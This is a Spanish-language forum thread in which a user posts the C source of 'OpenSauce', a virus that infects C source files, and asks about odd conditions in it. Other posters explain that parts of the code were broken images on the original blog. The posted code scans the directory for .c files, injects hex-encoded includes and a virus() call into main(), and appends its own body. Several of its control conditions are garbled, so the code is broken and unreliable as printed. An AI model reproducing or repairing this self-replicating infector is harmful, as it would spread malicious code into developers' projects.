Test Foro de elhacker.net SMF 2.1

Programación => Programación C/C++ => Mensaje iniciado por: 0xDani en 10 Julio 2012, 02:17 AM

Título: [Duda existencial]¿Que pasa en este codigo?
Publicado por: 0xDani en 10 Julio 2012, 02:17 AM
Bueno estaba desvelado leyendo un articulo cuando me encontre esto en mitad de un codigo. ¿Alguien me exolica que es?

<--------------------->
<----opensauce.c------>
<--------------------->

/*
* OpenSauce
*
* A trial to infect source code
*                   zert <zert@int80h.net>
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <dirent.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/wait.h>

void virus();

int main(int argc, char *argv[]) {
  virus();
}

void virus() {
  int i, hd, fd, readbyte, writebyte, posmain, posbuffer;
  DIR *dd;
  struct dirent *dirp;
  char nibble[2], nibblechar, *readbuffer, *writebuffer,
       *readmain, *writemain, *bufname, *buffer;
  char charinclude[] = "23696e636c756465203c737464696f2e683e0a23696e636c756465203c7374646c69622e683e0a23696e636c756465203c7379732f737461742e683e0a23696e636c756465203c756e697374642e683e0a23696e636c756465203c66636e746c2e683e0a23696e636c756465203c74696d652e683e0a23696e636c756465203c646972656e742e683e0a23696e636c756465203c656c662e683e0a23696e636c756465203c7379732f74797065732e683e0a23696e636c756465203c7379732f776169742e683e0a0a766f696420766972757328293b0a0a";
  char charvirus[] = "0a766f69642076697275732829207b0a2020696e7420692c2068642c2066642c2072656164627974652c207772697465627974652c20706f736d61696e2c20706f736275666665723b0a2020444952202a64643b0a202073747275637420646972656e74202a646972703b0a202063686172206e6962626c655b325d2c206e6962626c65636861722c202a726561646275666665722c202a77726974656275666665722c200a202020202020202a726561646d61696e2c202a77726974656d61696e2c202a6275666e616d652c202a6275666665723b0a";
  char charvirusend[] = "0a20206464203d206f70656e64697228222e22293b0a20207768696c65282864697270203d207265616464697228646429293e3029200a202020206966282868643d6f70656e28646972702d3e645f6e616d652c204f5f524457522c203029293e3d3029207b0a ... ";

  /* scan for hosts in current dir */
  dd = opendir(".");
  while>0)//Aqui
      if>=0) {//Y Aqui
        /* is a C source file? */
        if(!(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".c"))||
           !(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".C"))) {
          /* searching infection mark... */
          lseek(fd, -30, SEEK_END);
          bufname = (char *)malloc(30);
          readbyte = read(fd, bufname,30);
          if {
            /* infection mark not found */
            /* searching main() function... */
            lseek(fd, 0, SEEK_SET);
            posmain = posbuffer = 0;
            buffer = (char *)malloc(1024);
            while>0) {
              if( >0) ||
                >0) ||
                >0) ||
                >0) ||
                >0) ||
                >0) ) {
                break;
              }
              posmain += readbyte;
            }
            if(posbuffer>0) {
              posmain += ((int)posbuffer-(int)buffer);
              lseek(fd, posmain, SEEK_SET);
              read(fd, buffer, 80);
              if>0)
                posmain += 2 + ((int)posbuffer-(int)buffer);
              else
                posmain = -1;
            } else posmain = -1;
            if(posmain>0) {
              /* let's infect! */
              lseek(fd, 0, SEEK_SET);
              writebyte = strlen(charinclude) / 2;
              readbuffer = (char *)malloc(writebyte);
              writebuffer = (char *)malloc(writebyte);
              writebuffer = (char *)malloc(writebyte);
              for(i=0;i<strlen(charinclude);i+=2) {
                nibble[0] = charinclude[i];
                nibble[1] = charinclude[i+1];
                sscanf(nibble, "%02X", &nibblechar);
                strncat(writebuffer, &nibblechar, 1);
              }
              while>0) {
                lseek(fd, -readbyte, SEEK_CUR);
                write(fd, writebuffer, writebyte);
                writebyte = read(fd, writebuffer, writebyte);
                lseek(fd, -writebyte, SEEK_CUR);
                write(fd, readbuffer, readbyte);
              }
              lseek(fd,-readbyte,SEEK_CUR);
              write(fd,writebuffer,writebyte);
              /* call virus from main() */
              writebyte = strlen(charinclude) / 2;
              lseek(fd, posmain+writebyte, SEEK_SET);
              writebyte = strlen("\n  virus();\n");
              readmain = (char *)malloc(writebyte);
              writemain = (char *)malloc(writebyte);
              strcpy(writemain,"\n  virus();\n");
              while>0) {
                lseek(fd,-readbyte,SEEK_CUR);
                write(fd,writemain,writebyte);
                writebyte=read(fd,writemain,writebyte);
                lseek(fd,-writebyte,SEEK_CUR);
                write(fd,readmain,readbyte);
              }
              lseek(fd,-readbyte,SEEK_CUR);
              write(fd,writemain,writebyte);
              /* copy virus function at EOF */
              lseek(fd, 0, SEEK_END);
              for(i=0;i<strlen(charvirus);i+=2) {
                nibble[0] = charvirus[i];
                nibble[1] = charvirus[i+1];
                sscanf(nibble,"%02X",&nibblechar);
                write(fd, &nibblechar, 1);
              }
              write(fd, "\n  char charinclude[] = \"", strlen("\n  char charinclude[] = \""));
              write(fd, charinclude, strlen(charinclude));
              write(fd, "\";\n  char charvirus[] = \"", strlen("\";\n  char charvirus[] = \""));
              write(fd, charvirus, strlen(charvirus));
              write(fd, "\";\n  char charvirusend[] = \"", strlen("\";\n  char charvirusend[] = \""));
              write(fd, charvirusend, strlen(charvirusend));
              write(fd, "\";\n", strlen("\";\n"));
              lseek(fd, 0, SEEK_END);
              for(i=0;i<strlen(charvirusend);i+=2) {
                nibble[0] = charvirusend[i];
                nibble[1] = charvirusend[i+1];
                sscanf(nibble,"%02X",&nibblechar);
                write(fd, &nibblechar, 1);
              }
              /* that's all folks! */
              /* just 1 infection each time */
              exit(0);
              close(fd);
            }
          }
      }
      close(fd);
    }
  closedir(dd);
  /* sauce! */
}
<---------------------->
<--end of-opensauce.c-->
<---------------------->


Donde pone aqui y aqui se usan dos condiciones muy raras.

Saludos.

PD: Lo saque de http://blog.txipinet.com/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c/
Título: Re: [Duda existencial]¿Que pasa en este codigo?
Publicado por: Ferno en 10 Julio 2012, 02:37 AM
Ese código no es así.
Si entrás a la página, te podés fijar que esa parte de la condición del while, del if, y de muchas otras estructuras de control se encuentran en una imágen que, por alguna razón, no pueden ser leídas.
Por eso no vas a poder ver el code completo.

EDIT: Por ejemplo, una de las imágenes que corresponden a esa parte de la condición tiene el siguiente link: http://blog.txipinet.com/index.php/2007/01/11/readbyte=read%28fd,readmain,writebyte
Título: Re: [Duda existencial]¿Que pasa en este codigo?
Publicado por: avesudra en 10 Julio 2012, 03:03 AM
Joder y yo buscando si era alguna optimización o algo xD , ¿como te has dado cuenta Ferno?
Título: Re: [Duda existencial]¿Que pasa en este codigo?
Publicado por: Ferno en 10 Julio 2012, 03:24 AM
Porque entrando al link que se dejó en el primer post, justo en esas líneas de código que preguntaba qué era, me aparecía el ícono de imágen rota :P

Más específicamente, este:

(http://blog.webgpdesign.com/wp-content/uploads/2010/07/brokenimage1-300x300.jpg)

Al inspeccionar el elemento, llegué al link que dejé en mi post, el cual especifica que no se pudo leer el archivo correspondiente.
Título: Re: [Duda existencial]¿Que pasa en este codigo?
Publicado por: avesudra en 10 Julio 2012, 03:27 AM
Mmmmm que raro yo desde firefox no veo esa imagen, si se cual es , bah es igual , ahora tengo curiosidad por saber que habría en esas imagenes.
Título: Re: [Duda existencial]¿Que pasa en este codigo?
Publicado por: 0xDani en 10 Julio 2012, 13:47 PM
Pues a mi me gustaria saber que habia en esas imagenes :huh:, ademas si leeis el articulo esta bastante interesante.